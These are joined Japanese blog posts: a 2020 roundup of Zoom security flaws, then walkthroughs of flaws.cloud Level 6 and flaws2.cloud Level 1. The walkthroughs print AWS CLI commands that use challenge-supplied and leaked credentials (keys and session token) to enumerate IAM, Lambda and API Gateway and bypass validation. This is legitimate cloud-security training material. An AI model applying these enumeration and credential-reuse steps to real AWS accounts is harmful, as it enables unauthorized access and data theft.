そんな中、在宅ワークに不可欠なZoom、FaceTime、Skypeなどのビデオ会議ツールへの攻撃が世界的に流行っているようです。
特に人気で利用者も多いZoomは脆弱性が見つかるなどの問題が多く上がってきていますので個人的にまとめていこうと思います。
※今後Zoomを使う方へのあくまで注意してほしい内容です。
使うな!とかじゃないですからね…
2020年4月3日までのZoom調査内容
Zoom社からメッセージがありました。 blog.zoom.us
記事の内容の抜粋
For the past several weeks, supporting this influx of users has been a tremendous undertaking and our sole focus. We have strived to provide you with uninterrupted service and the same user-friendly experience that has made Zoom the video-conferencing platform of choice for enterprises around the world, while also ensuring platform safety, privacy, and security. However, we recognize that we have fallen short of the community’s – and our own – privacy and security expectations. For that, I am deeply sorry, and I want to share what we are doing about it.
これをふまえてどんな問題があったかは以下に記載しています。
Zoomの人類皆家族(社長目線)問題
この問題を簡単に説明すると、気づかない間に約数千人の見知らぬユーザがすべて同じ会社に属しているように扱っており、見知らぬユーザ全員が参加可能なビデオ通話おこなっていたようです。
原因は、Zoomの「会社ディレクトリ」設定です。
本来ならば、サインアップした際会社のメールアドレスでログインをおこえば、同じメールアドレスのドメインを持つ同僚のユーザが連絡先リストに自動で追加される機能なのですが、個人の電子メールアドレスでサインアップした場合、同じメールドメインでログインしているユーザが連絡先リストに自動追加されるようです。
複数のZoomユーザが個人の電子メールアドレス(@gmail.comとか)でサインアップしていると、Zoomは同じメールドメインでログインしている何千人ものユーザを、同じ会社で働いているかのようにプールしてしまうので、個人情報を見ることやWEB会議に参加して情報を聞くことがお互いにできてしまいます。
参考記事 www.vice.com
"If you subscribe to Zoom with a non-standard provider (I mean, not Gmail or Hotmail or Yahoo etc), then you get insight to ALL subscribed users of that provider: their full names, their mail addresses, their profile picture (if they have any) and their status. And you can video call them," Gehrels said. A user still has to accept the call from the stranger for it to start, however.
gmail.comとかyahoo.co.jpとかメジャーなドメインはとかは対策されてました。
IOS版ZoomのFacebookデータ送信問題
リモートワークで注目を浴びていたZoomですが、
プライバシーポリシーに明確な記載がないですが、iOS版のZoomアプリに仕込まれたSDKを通じFacebookに端末データを送信していたという調査結果が報告されました。
記事によるとFacebookアカウントを持っていない場合でもFacebookにデータを送信しているようで、
iOS版のZoomアプリがFacebookにデータを送信している理由もプライベートポリシーに記載されていないため謎のままです。
この件について、Zoom広報は数日後に、「Facebook SDKが情報取得をしていることに気づかなかった」といっているようです。
詳細記事 www.vice.com
Windows版Zoomの脆弱性
ZoomのWindows版クライアントでは、ユーザのネットワーク認証情報が漏れる脆弱性が発見されました。
問題になったのは、テキストメッセージに含まれるURL文字列をハイパーリンク化するZoomの機能です。 本来ならば、ユーザはWindowsネットワーク上にあるOutlookやファイルサーバのURLをクリックすればそこに簡単にアクセスできるメリットがあります。 ただ、このZoomの機能はUNCと呼ばれるローカルのフォルダへアクセスするための文字列もハイパーリンク化してしまいます。
仮に¥¥ホスト名¥共有名¥パス
といった文字列もアクセス可能なURLとして外部に共有してしまうため、
これをクリックすればコンピューターはローカルにある場合と同じようにリモートからアクセスを試みてしまいます。
まぁつながりませんが…
しかし、攻撃者が¥¥攻撃者ホスト¥共有名¥C$
といったUNCを投げてきたとき、相手がそのハイパーリンクをクリックさえすれば、攻撃者には相手のWindowsネットワーク上のユーザー名とパスワードハッシュが返されてしまいます。
この情報を手に入れた攻撃者は、Pass the Hash
と呼ばれる一種のなりすまし攻撃が可能な状態になり、相手のPCやWindowsネットワークへの侵入の危険性が高まってしまいます。
参考記事 www.bleepingcomputer.com ※この記事には資格情報がリモートサーバーに送信されないようにする設定も記載されています!
2020年4月3日:Windows認証情報が盗まれる脆弱性が修正された pc.watch.impress.co.jp
MacOS版Zoomのゼロデイ
ZoomのMacOS版では2つのゼロデイが公開されました。
root権限への権限昇格
Zoomインストーラーは、権限付きの権限実行のAPIを呼び出して、さまざまな特権付きインストールタスクを実行できる状態になっているようです。
さらに恐ろしいのは、このインストールタスクにはroot権限への特権昇格につながる脆弱性を含まれてます。
Appleは権限付きの権限実行のAPIでは非推奨であり、使用すべきではないことを明確に述べていますが、APIはroot権限で実行されるバイナリを検証しないため、権限のない攻撃者またはマルウェアが、/ (root)
ディレクトリ内の情報を改ざんまたは置換することで、root権限へ昇格できる可能性あります。
root権限へ昇格されるとMacOS内でできないことはなくなってしまいますので、
好きなだけ情報も盗まれてしまいます。
カメラとマイクの権限継承
ズームを使用するには、システムのマイクとカメラにアクセスする必要があります。
MacOSでは(最近のバージョン)、アクセス時にユーザの承認が必要となっています。
残念ながらZoomには、悪意のあるコードをプロセススペースに挿入できる特定のexclusion
があり、
Zoomの(マイクとカメラ)アクセス時に悪意のあるコードを一緒に流し込むことができます。
これにより、ZoomでおこなったWEBミーティングを記録したり、マイクとカメラに任意のタイミングで起動したり(PCの持ち主にアナウンスはされない)することも可能になってしまいます。
参考記事 https://objective-see.com/blog/blog_0x56.html
Zoomマルウェア
無茶苦茶人気なZoomなので、攻撃者たちはサイバー犯罪のターゲットとしているという記事もありました。
現在、Zoom関連のマルウェアの事例はほとんどありませんが、2月のみでアクティブなZoomユーザーが21%増加しているため、悪用はほぼ避けられないとのことです。
まぁ、現時点でまだ明確な事例がないので脳の片隅に置いとく程度でお願いします…
参考記事 www.hackread.com
ZoomBombing
どうしようもない嫌な連中が、Zoomの画面共有機能を使って、暴力的なものからえっちぃものを含む最低の動画を他の参加者に送りつけてくるやつですはい…
海外では学校のWEB授業中にあったらしいです。
対策
- すべての会議をパスワードで保護します。
- 参加者用の待合室を作成します。
- 会議が始まる前に主催者が出席する必要があります。
- 開始した会議をロックします。
- 画面共有透かし。メールの一部を共有画面に配置します。
- 音声署名が必要–各会議参加者の資格情報を音声トラックに埋め込みます
- 参加者またはすべての参加者の記録を有効/無効にします。
- 新しいウィンドウが開いたときに画面の共有を一時的に停止します。
- 特定のメールドメインを持つ個人のみが参加できるようにします。
- エンドツーエンドの暗号化で会議を保護します。
エンドツーエンドの暗号化で会議を保護ですが、残念ながらZoomはサポートされていないようです。
Zoomの場合、「エンドツーエンド」という名の「トランスポート暗号化」らしいです。
参考記事 theintercept.com
終わりに
何かの参考になれば幸いです。
ちなみに、一度Zoomのアカウントを作成したらZoomからは逃げられないようです。
参考:「Zoom」が今も抱えるさまざまな問題 jp.techcrunch.com
flaws.cloudでAWS環境にSSRF攻撃をやってみた Level 6
この記事は下記のブログの続きです! 過去の記事でおこなった手順は省略してますのでご注意ください。
まだ、このシリーズの読んでいなければ先にLevel 1の記事をご覧ください。
※この記事はflaws.cloudのやり方が載ってます。今後flaws.cloudにチャレンジ予定の方はネタバレになってしまいます。
Level 6
トップページはこんな感じです。
「For this final challenge, you're getting a user access key that has the SecurityAudit policy attached to it. See what else it can do and what else you might find in this AWS account. 」
Access key ID: AKIAJFQ6E7BY57Q3OBGA
Secret: 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
SecurityAuditポリシーが関連付けられたユーザーアクセスキーを取得しています。他に何ができるか、このAWSアカウントで他に何が見つかるかを確認してください。
今回の問題はAWSアカウントの情報はすでに持っていて、そこからほかに何ができるかを探っていく感じのようです。
とりあえず進めてみる
まずは、トップページにあったAWSアカウント情報をaws configure
コマンドでプロファイルの登録をおこないます。
$ aws configure --profile flaws6 AWS Access Key ID [None]: AKIAJFQ6E7BY57Q3OBGA AWS Secret Access Key [None]: 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 Default region name [None]: us-west-2 Default output format [None]:
先ほど作成したflaws6
プロファイルを使い、aws iam get-user
コマンドでIAMの情報を取得します。
$ aws iam get-user --profile flaws6 { "User": { "Path": "/", "UserName": "Level6", "UserId": "AIDAIRMDOSCWGLCDWOG6A", "Arn": "arn:aws:iam::975426262029:user/Level6", "CreateDate": "2017-02-26T23:11:16Z" } }
ユーザ名がLevel6
であることがわかりました。
次にやることは、IAMユーザLevel6
に関連付けられているポリシーをaws iam list-attached-user-policies
コマンドで確認します。
$ aws iam list-attached-user-policies --user-name Level6 --profile flaws6 { "AttachedPolicies": [ { "PolicyName": "list_apigateways", "PolicyArn": "arn:aws:iam::975426262029:policy/list_apigateways" }, { "PolicyName": "MySecurityAudit", "PolicyArn": "arn:aws:iam::975426262029:policy/MySecurityAudit" } ] }
IAMユーザLevel6
にはlist_apigateways
とMySecurityAudit
、2つのポリシーがアタッチされていることがわかりました。
MySecurityAudit
につきましては、以下のAWSデフォルトポリシーを利用していそうです。
list_apigateways
につきましては、おそらくこのアカウント内で作られたオリジナルのポリシーかと思います。
先ほど実行したコマンドでPolicyArn
がわかっていますので、aws iam get-policy
コマンドの--policy-arn
オプションを利用して、さらに詳細な情報を見てみます。
$ aws iam get-policy --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --profile flaws6 { "Policy": { "PolicyName": "list_apigateways", "PolicyId": "ANPAIRLWTQMGKCSPGTAIO", "Arn": "arn:aws:iam::975426262029:policy/list_apigateways", "Path": "/", "DefaultVersionId": "v4", "AttachmentCount": 1, "PermissionsBoundaryUsageCount": 0, "IsAttachable": true, "Description": "List apigateways", "CreateDate": "2017-02-20T01:45:17Z", "UpdateDate": "2017-02-20T01:48:17Z" } }
DefaultVersionId
がv4
とコマンド実行結果で帰ってきてますので、
こちらのバージョンIDのものが実際に適応されているポリシーかと思います。
aws iam get-policy-version
コマンドを利用してポリシーの中身を確認してみます。
$ aws iam get-policy-version --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --version-id v4 --profile flaws6 { "PolicyVersion": { "Document": { "Version": "2012-10-17", "Statement": [ { "Action": [ "apigateway:GET" ], "Effect": "Allow", "Resource": "arn:aws:apigateway:us-west-2::/restapis/*" } ] }, "VersionId": "v4", "IsDefaultVersion": true, "CreateDate": "2017-02-20T01:48:17Z" } }
赤字の部分の記載の通り、arn:aws:apigateway:us-west-2::/restapis/*
からapigateway:GET
を呼び出せそうな感じがします。
ここまでわかればあとはAPIGatewayと紐ずくLambdaの情報を確認するため、aws lambda list-functions
コマンドで まずは、Lambdaの関数名を確認します。
$ aws lambda list-functions --profile flaws6 { "Functions": [ { "FunctionName": "Level6", "FunctionArn": "arn:aws:lambda:us-west-2:975426262029:function:Level6", "Runtime": "python2.7", "Role": "arn:aws:iam::975426262029:role/service-role/Level6", "Handler": "lambda_function.lambda_handler", "CodeSize": 282, "Description": "A starter AWS Lambda function.", "Timeout": 3, "MemorySize": 128, "LastModified": "2017-02-27T00:24:36.054+0000", "CodeSha256": "2iEjBytFbH91PXEMO5R/B9DqOgZ7OG/lqoBNZh5JyFw=", "Version": "$LATEST", "TracingConfig": { "Mode": "PassThrough" }, "RevisionId": "22f08307-9080-4403-bf4d-481ddc8dcb89" } ] }
FunctionName
がLevel6
となっています。これでLambdaで利用されている関数名を判明しました。
次に確認するのは、関数に設定されたポリシーの内容です。こちらはaws lambda get-policy
コマンドで確認ができます。
$ aws lambda get-policy --function-name Level6 --profile flaws6 { "Policy": { "Version":"2012-10-17", "Id":"default", "Statement":[ { "Sid":"904610a93f593b76ad66ed6ed82c0a8b", "Effect":"Allow", "Principal":{ "Service":"apigateway.amazonaws.com" }, "Action":"lambda:InvokeFunction", "Resource":"arn:aws:lambda:us-west-2:975426262029:function:Level6", "Condition":{ "ArnLike":{ "AWS:SourceArn":"arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6" } } } ] }", "RevisionId": "22f08307-9080-4403-bf4d-481ddc8dcb89" }
※こちら僕の方で見やすく整形しております。
赤字の部分にあるAWS:SourceArn
の値を見ると、
arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6
というARN情報が分かります。
このARNのs33ppypa75
はrestapi_id
かと思います。
仮にrestapi_id
だとしたら、API GatewayでREST APIを呼び出すに記載されているように以下のURLでブラウザアクセスが可能になります。
https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/
Amazon API Gateway で REST API を呼び出す
現状、REST APIの呼び出しに必要な情報の内、手に入れていないの情報はstage_name
ですので、aws apigateway get-stages
コマンドのオプション--rest-api-id
でstage_name
を調べます。
$ aws apigateway get-stages --rest-api-id "s33ppypa75" --profile flaws6 { "item": [ { "deploymentId": "8gppiv", "stageName": "Prod", "cacheClusterEnabled": false, "cacheClusterStatus": "NOT_AVAILABLE", "methodSettings": {}, "tracingEnabled": false, "createdDate": 1488155168, "lastUpdatedDate": 1488155168 } ] }
どうやら、restapi_id
はs33ppypa75
でstage_name
はProd
でいけそうですね。
先程のURLに当てはめてみると以下のようになるかと思います。
以下のURLをブラウザアクセスしてみます。
https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6
※ 一番最後のlevel6
はREST APIで呼び出すLambda関数名です。
アクセスしたWEB画面に以下のような記載があります。
Go to http://theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud/d730aa2b/
指示通りにhttp://theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud/d730aa2b/
へブラウザアクセスします。
The End
Congratulations on completing the flAWS challenge!
Send me some feedback at scott@summitroute.com
Tweet and tell your friends about it if you learned something from it.
flAWSチャレンジの完了おめでとうございます!と出ているのでLevel 6クリアです!
やってみた感想
セキュリティを意識して、
問題にあったSecurityAudit
ポリシーのような、読み取り専用権限をユーザーやロールに与えることがよくあるかと思います。
読み取り専用権限しか与えていないから大丈夫!と思っていたら、今回の問題のように自分のIAMポリシーやほかのIAMポリシーから情報を読み取られてしまいますね。
攻撃者は実際の環境に存在するこういった読み取り権限のIAMポリシーでどこまで内容を見れるのかを理解していると外に出していない情報を探せちゃいますね。
flaws.cloudはこの記事で完結となります。皆様も興味があればやってみてください。
flaws.cloudの続編である、
flaws.cloud2があります。そちらも記事にしています!
chikoblog.hatenablog.jp
flaws2.cloudをやってみた Attacker Level 1
※この記事はflaws2.cloudの解き方の一例が載ってます。
今後flaws2.cloudにチャレンジ予定の方はネタバレになってしまいます。
flaws.cloudの続編⁉flaws2.cloudがあったのでそちらを解いてみました!
flaws2.cloudとは
AWS固有のセキュリティリスクに焦点を当てている実技問題が載っており、
それをゲーム形式で自ら手を動かし解いていくことでAWSのセキュリティ概念を学習できるサイトとなっております。
元のflaws.cloudと違い、flaws2.cloudは「Attacker」と「Defender」で問題が分かれています。
Attackerの問題では、サーバーレスサービスのLambdaやECS、Fargateの設定ミスを悪用し攻撃を模擬的におこなえます。
Defenderの問題は、ログの分析におけるjq
の使い方、Athenaを使い解析する方法について紹介されているようです。
初めての方はAttackerから行うのを推奨しているので今回はAttacker Level 1の問題の解説をしていきます。
Attacker Level 1
トップページはこんな感じです。 level1.flaws2.cloud
For this level, you'll need to enter the correct PIN code. The correct PIN is 100 digits long, so brute forcing it won't help.
Level 1では、正しいPINコードを入力する必要があります。
正しいPINは100桁の長さであるため、ブルートフォースアタックしても無駄ですよ〜って書いてありますね。
ひとまず、現状何も情報を得ていないので、色々調査をしていく必要がありますね。
flaws2のドメインである、level1.flaws2.cloud
に対して、dig
コマンドを実行してこのページがなんのAWSサービスを利用しているかみてみます。
$ dig any level1.flaws2.cloud +short 52.216.207.122 $ dig any -x 52.216.207.122 +short s3-website-us-east-1.amazonaws.com.
PTRレコード情報が抜けました。
とりあえずS3バケットを利用していそうってことは分かりました。
s3 ls
コマンドを実行してな内容が確認できるかやってみます。
$ aws s3 ls s3://level1.flaws2.cloud An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
権限がないと言われているので、S3バケットの内容は確認できないようです。
他に何か情報が盗み取れないか、色々試してみます。
次にやってみるのはのトップページに乗っているコードに適当な文字を入れてみてどんなエラーが出るかみてみたいと思います。
まずは適当な数字を入力します。
再実行をうながされてしまいます。 次に適当な文字「chiko」と入力してみました。
数字を入力しろって言われますね、この辺で簡単にヒントをくれるようなサイトではないようです。
次にソースコード内に何か載っていないかみてみます。
右クリックでソースページを表示してみます。
51行目くらいに以下のようなJavaScriptが書かれていました。
<script type="text/javascript"> function validateForm() { var code = document.forms["myForm"]["code"].value; if (!(!isNaN(parseFloat(code)) && isFinite(code))) { alert("Code must be a number"); return false; } } </script>
フォームに入力された値が数字かどうかをチェックするバリデーションが設定されているように思えます。
65行目〜69行目に上記の記述に紐ずいていそうな内容が書いてあります。
<form name="myForm" action="https://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1" onsubmit="return validateForm()"> Code: <input type="text" name="code" value="1234"> <br><br> <input type="submit" value="Submit"> </form>
サブミットしているURLはhttps://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1
のようです。
このURLに数字以外の文字を直接HTTPリクエストで送ればバリデーションには引っかからなさそうです。
試しに以下のURLでブラウザアクセスしてみます。
https://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1?code=chiko
エラー画面が出てきました。
見づらいのでjq
しました。
{ "PATH": "/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin", "LD_LIBRARY_PATH": "/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/lib", "LANG": "en_US.UTF-8", "TZ": ":UTC", "LAMBDA_TASK_ROOT": "/var/task", "LAMBDA_RUNTIME_DIR": "/var/runtime", "AWS_REGION": "us-east-1", "AWS_DEFAULT_REGION": "us-east-1", "AWS_LAMBDA_LOG_GROUP_NAME": "/aws/lambda/level1", "AWS_LAMBDA_LOG_STREAM_NAME": "2020/03/15/[$LATEST]640339acb1e34b1eaa7c8d3727f1a4d5", "AWS_LAMBDA_FUNCTION_NAME": "level1", "AWS_LAMBDA_FUNCTION_MEMORY_SIZE": "128", "AWS_LAMBDA_FUNCTION_VERSION": "$LATEST", "_AWS_XRAY_DAEMON_ADDRESS": "169.254.79.2", "_AWS_XRAY_DAEMON_PORT": "2000", "AWS_XRAY_DAEMON_ADDRESS": "169.254.79.2:2000", "AWS_XRAY_CONTEXT_MISSING": "LOG_ERROR", "_X_AMZN_TRACE_ID": "Root=1-5e6df266-003e20d895498d9ee6c0357a;Parent=21398fd6380e68d6;Sampled=0", "AWS_EXECUTION_ENV": "AWS_Lambda_nodejs8.10", "_HANDLER": "index.handler", "NODE_PATH": "/opt/nodejs/node8/node_modules:/opt/nodejs/node_modules:/var/runtime/node_modules:/var/runtime:/var/task:/var/runtime/node_modules", "AWS_ACCESS_KEY_ID": "ASIAZQNB3KHGGRAPDGC2", "AWS_SECRET_ACCESS_KEY": "L71VBO2kFSru+gsN93wlgO6vqwgRtT+fxRoDwK3m", "AWS_SESSION_TOKEN": "IQoJb3JpZ2luX2VjEIn//////////wEaCXVzLWVhc3QtMSJHMEUCIHCz7mtB1p3FPf96jq3Rogv4ewQlL334CFojLjjI3oTQAiEAwL9Lmrl9iLLE1WBDvnH9KnGZmJ/nRoY0kd907kS1gTIqxQEIchABGgw2NTM3MTEzMzE3ODgiDHwlJBwPIrbJftghpSqiAXSnEtzbu+pHgMuRuQtv5JaSffXKr6arafnwcIefhH7RxxvcDa7QxFv7XT2wGAfAvF8KMmJzRof0rNXIUPfpu+eBy212zO6cdEDbmETq0fAzEDUFWpYFtTgzZtY7JjuWhgxvw2nOdAbkIf675q/vC2H0DTdQjjwjDJYc/bbnv9sq9qQbi01j9Cfm6tvGpp1chyb7JTV+nqSCF/Yswq2pG3VdYzCE2LfzBTrgATTrkUB8FODKFUK+ZZ1d1iZ58TtcE9saQoEqz3WOUiADwpJC2P5IbE75uBVHiLDroWDYnJVh5wqCYmqVb/tToI9Zn02gGnB0X80SAf0o0GjHq8kK7d11gaCXguYu76zWg5neooy/CvkYb8bJUnYyw2vFJY98YlilRpqIP767Hc9CXxxD/Jceqs3N6JLrJSyI4h7evOEXhmKa6dIo9ehwx9ryc6bu1ritOhSAiJGyCU6UFU1euqdWYeCiG+bAkIO1kMboJssag9j6ORI5JBPoOb2d45vZShOSVumEiUm/JGvc" }
恐ろしいことにこのエラー画面にはAWS_ACCESS_KEY_ID
とAWS_SECRET_ACCESS_KEY
さらにAWS_SESSION_TOKEN
が記載されています。
手に入れた情報をもとにaws configure
コマンドでプロファイルを作成します。
$ aws configure --profile flaws2_1 AWS Access Key ID [None]: ASIAZQNB3KHGGRAPDGC2 AWS Secret Access Key [None]: L71VBO2kFSru+gsN93wlgO6vqwgRtT+fxRoDwK3m Default region name [None]: us-east-1 Default output format [None]:
次にAWS_SESSION_TOKEN
を登録します。
$ vim .aws/credentials [flaws2_1] aws_access_key_id = ASIAZQNB3KHGGRAPDGC2 aws_secret_access_key = L71VBO2kFSru+gsN93wlgO6vqwgRtT+fxRoDwK3m aws_session_token = IQoJb3JpZ2luX2VjEIn//////////wEaCXVzLWVhc3QtMSJHMEUCIHCz7mtB1p3FPf96jq3Rogv4ewQlL334CFojLjjI3oTQAiEAwL9Lmrl9iLLE1WBDvnH9KnGZmJ/nRoY0kd907kS1gTIqxQEIchABGgw2NTM3MTEzMzE3ODgiDHwlJBwPIrbJftghpSqiAXSnEtzbu+pHgMuRuQtv5JaSffXKr6arafnwcIefhH7RxxvcDa7QxFv7XT2wGAfAvF8KMmJzRof0rNXIUPfpu+eBy212zO6cdEDbmETq0fAzEDUFWpYFtTgzZtY7JjuWhgxvw2nOdAbkIf675q/vC2H0DTdQjjwjDJYc/bbnv9sq9qQbi01j9Cfm6tvGpp1chyb7JTV+nqSCF/Yswq2pG3VdYzCE2LfzBTrgATTrkUB8FODKFUK+ZZ1d1iZ58TtcE9saQoEqz3WOUiADwpJC2P5IbE75uBVHiLDroWDYnJVh5wqCYmqVb/tToI9Zn02gGnB0X80SAf0o0GjHq8kK7d11gaCXguYu76zWg5neooy/CvkYb8bJUnYyw2vFJY98YlilRpqIP767Hc9CXxxD/Jceqs3N6JLrJSyI4h7evOEXhmKa6dIo9ehwx9ryc6bu1ritOhSAiJGyCU6UFU1euqdWYeCiG+bAkIO1kMboJssag9j6ORI5JBPoOb2d45vZShOSVumEiUm/JGvc
作成したプロファイルを使い、aws s3 ls
コマンドで再度S3バケットの中身を確認してみます。
$ aws s3 ls s3://level1.flaws2.cloud --profile flaws2_1 PRE img/ 2018-11-21 05:55:05 17102 favicon.ico 2018-11-21 11:00:22 1905 hint1.htm 2018-11-21 11:00:22 2226 hint2.htm 2018-11-21 11:00:22 2536 hint3.htm 2018-11-21 11:00:23 2460 hint4.htm 2018-11-21 11:00:17 3000 index.htm 2018-11-21 11:00:17 1899 secret-ppxVFdwV4DDtZm8vbQRvhxL8mE6wxNco.html
明らかに怪しいsecret-ppxVFdwV4DDtZm8vbQRvhxL8mE6wxNco.html
を開いてみます。
http://level1.flaws2.cloud/secret-ppxVFdwV4DDtZm8vbQRvhxL8mE6wxNco.html
でブラウザアクセスします。
Level 2へのURLが記載されています。
Level 1クリアとなります!
やってみた感想
解説にも書いてありましたが、サーバレスサービスは環境変数からIAMロールの認証情報を取得します。エラー状態が発生したときに環境変数をダンプして、それを見て問題のデバッグをおこなえるようになっているからだそうです。
ただ、この仕様を理解していないで利用していると、今回の問題のように環境変数に機密情報が含まれることがあるため、意図しない第三者に情報が盗まれる危険がありますね。
また、今回の問題のように環境変数に表示されるサーバレスサービスのIAMロールに、必要な操作以外に不要な操作権限を与えてしまうと情報が漏洩した際に色々やられてしまいます。
AWSのベストプラクティスは、目的を達成するために必要なIAMポリシーで最小限の特権のみをサービスに付与するとありますので、これはしっかりと意識してIAMポリシーを作成しないといけませんね。
皆様も一度やってみてはいかがでしょうか?
また、過去にflaws.cloudの解説も上げてますので気になる方はこちらも見ていただけると幸いです。